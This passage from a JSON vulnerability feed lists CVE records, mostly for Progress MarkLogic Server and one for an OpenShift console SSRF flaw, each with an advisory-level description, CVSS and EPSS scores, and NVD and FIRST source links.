attacker could exploit this vulnerability to cause server instability or disclose limited information from process memory.","detail":"Progress MarkLogic Server 12.x releases before 12.1.0 contain an out-of-bounds read vulnerability in certain query-processing functionality. A remote authenticated attacker could exploit this vulnerability to cause server instability or disclose limited information from process memory.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:37.387Z","updatedAt":"2026-10-15T20:17:15.573Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Progress (MOVEit, Telerik, WS_FTP)"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85968","asOf":"2026-10-15T20:17:15.573Z"},"epss":{"probability":0.00272,"percentile":0.19366,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85968&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85968","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85968","type":"primary","publishedAt":"2026-10-12T17:17:37.387Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85968&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85968, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85966","cveId":"CVE-2026-85966","aliases":[],"kind":"vulnerability","title":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 do not sufficiently restrict access to certain security-sensitive information.","summary":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 do not sufficiently restrict access to certain security-sensitive information. A remote authenticated attacker with limited management permissions could obtain this information, which could result in unauthorized access to protected resources.","detail":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 do not sufficiently restrict access to certain security-sensitive information. A remote authenticated attacker with limited management permissions could obtain this information, which could result in unauthorized access to protected resources.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:37.137Z","updatedAt":"2026-10-15T19:17:45.700Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Progress (MOVEit, Telerik, WS_FTP)"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85966","asOf":"2026-10-15T19:17:45.700Z"},"epss":{"probability":0.00296,"percentile":0.22031,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85966&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85966","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85966","type":"primary","publishedAt":"2026-10-12T17:17:37.137Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85966&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85966, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85965","cveId":"CVE-2026-85965","aliases":[],"kind":"vulnerability","title":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain memory-safety defects in the JavaScript engine integration that could result in...","summary":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain memory-safety defects in the JavaScript engine integration that could result in memory corruption, controlled process failure, or server instability.","detail":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain memory-safety defects in the JavaScript engine integration that could result in memory corruption, controlled process failure, or server instability.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:37.007Z","updatedAt":"2026-10-15T19:17:45.593Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Progress (MOVEit, Telerik, WS_FTP)"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85965","asOf":"2026-10-15T19:17:45.593Z"},"epss":{"probability":0.00239,"percentile":0.14813,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85965&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85965","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85965","type":"primary","publishedAt":"2026-10-12T17:17:37.007Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85965&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85965, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85964","cveId":"CVE-2026-85964","aliases":[],"kind":"vulnerability","title":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 allow an authenticated Query Console user to supply unsafe path values to a privileged...","summary":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 allow an authenticated Query Console user to supply unsafe path values to a privileged filesystem helper, which could result in disclosure of arbitrary server files.","detail":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 allow an authenticated Query Console user to supply unsafe path values to a privileged filesystem helper, which could result in disclosure of arbitrary server files.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:36.877Z","updatedAt":"2026-10-15T19:17:45.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Progress (MOVEit, Telerik, WS_FTP)"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85964","asOf":"2026-10-15T19:17:45.490Z"},"epss":{"probability":0.00491,"percentile":0.41904,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85964&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85964","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85964","type":"primary","publishedAt":"2026-10-12T17:17:36.877Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85964&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85964, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85963","cveId":"CVE-2026-85963","aliases":[],"kind":"vulnerability","title":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 include deprecated OpsDirector functionality with weaknesses that could allow an...","summary":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 include deprecated OpsDirector functionality with weaknesses that could allow an unauthenticated remote attacker to make unauthorized requests to internal services or forge trusted requests, potentially resulting in unauthorized access to protected information.","detail":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 include deprecated OpsDirector functionality with weaknesses that could allow an unauthenticated remote attacker to make unauthorized requests to internal services or forge trusted requests, potentially resulting in unauthorized access to protected information.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:36.753Z","updatedAt":"2026-10-15T19:17:45.380Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Progress (MOVEit, Telerik, WS_FTP)"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85963","asOf":"2026-10-15T19:17:45.380Z"},"epss":{"probability":0.00426,"percentile":0.36583,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85963&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85963","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85963","type":"primary","publishedAt":"2026-10-12T17:17:36.753Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85963&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85963, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85962","cveId":"CVE-2026-85962","aliases":[],"kind":"vulnerability","title":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain an improper authentication vulnerability in SAML processing.","summary":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain an improper authentication vulnerability in SAML processing. In deployments that use SAML authentication, an unauthenticated remote attacker could cause the affected server to accept an assertion that should be rejected, potentially resulting in unauthorized access.","detail":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain an improper authentication vulnerability in SAML processing. In deployments that use SAML authentication, an unauthenticated remote attacker could cause the affected server to accept an assertion that should be rejected, potentially resulting in unauthorized access.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:36.627Z","updatedAt":"2026-10-15T19:17:45.280Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Progress (MOVEit, Telerik, WS_FTP)"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85962","asOf":"2026-10-15T19:17:45.280Z"},"epss":{"probability":0.00313,"percentile":0.24024,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85962&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85962","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85962","type":"primary","publishedAt":"2026-10-12T17:17:36.627Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85962&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85962, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85961","cveId":"CVE-2026-85961","aliases":[],"kind":"vulnerability","title":"On Azure deployments, Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 may record security-sensitive authentication information in diagnostic...","summary":"On Azure deployments, Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 may record security-sensitive authentication information in diagnostic logs under certain configurations. An attacker with access to the affected logs could use this information to obtain unauthorized access to protected cloud resources.","detail":"On Azure deployments, Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 may record security-sensitive authentication information in diagnostic logs under certain configurations. An attacker with access to the affected logs could use this information to obtain unauthorized access to protected cloud resources.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:36.500Z","updatedAt":"2026-10-15T19:17:45.177Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Azure","Progress (MOVEit, Telerik, WS_FTP)"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85961","asOf":"2026-10-15T19:17:45.177Z"},"epss":{"probability":0.00499,"percentile":0.42432,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85961&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85961","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85961","type":"primary","publishedAt":"2026-10-12T17:17:36.500Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85961&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85961, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85960","cveId":"CVE-2026-85960","aliases":[],"kind":"vulnerability","title":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 use predictable CSRF tokens in Query Console.","summary":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 use predictable CSRF tokens in Query Console. A remote attacker who lures an authenticated Query Console user to a malicious page could submit unauthorized requests and execute server-side code with the victim's permissions.","detail":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 use predictable CSRF tokens in Query Console. A remote attacker who lures an authenticated Query Console user to a malicious page could submit unauthorized requests and execute server-side code with the victim's permissions.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:36.373Z","updatedAt":"2026-10-14T11:17:06.203Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Progress (MOVEit, Telerik, WS_FTP)"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85960","asOf":"2026-10-14T11:17:06.203Z"},"epss":{"probability":0.0019,"percentile":0.08595,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85960&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85960","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85960","type":"primary","publishedAt":"2026-10-12T17:17:36.373Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85960&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85960, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85959","cveId":"CVE-2026-85959","aliases":[],"kind":"vulnerability","title":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 do not consistently record successful authentication events in audit logs, which could limit...","summary":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 do not consistently record successful authentication events in audit logs, which could limit customers' ability to detect and investigate unauthorized access or credential misuse.","detail":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 do not consistently record successful authentication events in audit logs, which could limit customers' ability to detect and investigate unauthorized access or credential misuse.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:36.247Z","updatedAt":"2026-10-15T19:17:45.063Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Progress (MOVEit, Telerik, WS_FTP)"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85959","asOf":"2026-10-15T19:17:45.063Z"},"epss":{"probability":0.00397,"percentile":0.33588,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85959&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85959","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85959","type":"primary","publishedAt":"2026-10-12T17:17:36.247Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85959&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85959, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85958","cveId":"CVE-2026-85958","aliases":[],"kind":"vulnerability","title":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain an authentication validation weakness that could allow an attacker to use a token...","summary":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain an authentication validation weakness that could allow an attacker to use a token that should not be accepted by the affected server, which could result in unauthorized access.","detail":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain an authentication validation weakness that could allow an attacker to use a token that should not be accepted by the affected server, which could result in unauthorized access.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:36.120Z","updatedAt":"2026-10-15T19:17:44.960Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Progress (MOVEit, Telerik, WS_FTP)"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85958","asOf":"2026-10-15T19:17:44.960Z"},"epss":{"probability":0.00365,"percentile":0.30114,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85958&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85958","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85958","type":"primary","publishedAt":"2026-10-12T17:17:36.120Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85958&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85958, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85957","cveId":"CVE-2026-85957","aliases":[],"kind":"vulnerability","title":"Affected Progress MarkLogic Server 11.x releases before 11.3.7 use a SAML parser configuration that can process external DTDs or entities, which could result in unintended network...","summary":"Affected Progress MarkLogic Server 11.x releases before 11.3.7 use a SAML parser configuration that can process external DTDs or entities, which could result in unintended network access or information disclosure.","detail":"Affected Progress MarkLogic Server 11.x releases before 11.3.7 use a SAML parser configuration that can process external DTDs or entities, which could result in unintended network access or information disclosure.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:35.990Z","updatedAt":"2026-10-16T18:19:28.393Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Progress (MOVEit, Telerik, WS_FTP)"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85957","asOf":"2026-10-16T18:19:28.393Z"},"epss":{"probability":0.00402,"percentile":0.34224,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85957&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85957","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85957","type":"primary","publishedAt":"2026-10-12T17:17:35.990Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85957&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85957, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-75888","cveId":"CVE-2026-75888","aliases":[],"kind":"vulnerability","title":"A flaw was found in the OpenShift console. An authenticated console user can exploit a Server-Side Request Forgery (SSRF) vulnerability by providing a specially crafted Helm chart...","summary":"A flaw was found in the OpenShift console. An authenticated console user can exploit a Server-Side Request Forgery (SSRF) vulnerability by providing a specially crafted Helm chart URL without proper validation. This allows the user to make the console pod fetch arbitrary URLs, potentially leading to the disclosure of sensitive information through error messages or enabling blind port scanning within the cluster.","detail":"A flaw was found in the OpenShift console. An authenticated console user can exploit a Server-Side Request Forgery (SSRF) vulnerability by providing a specially crafted Helm chart URL without proper validation. This allows the user to make the console pod fetch arbitrary URLs, potentially leading to the disclosure of sensitive information through error messages or enabling blind port scanning within the cluster.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 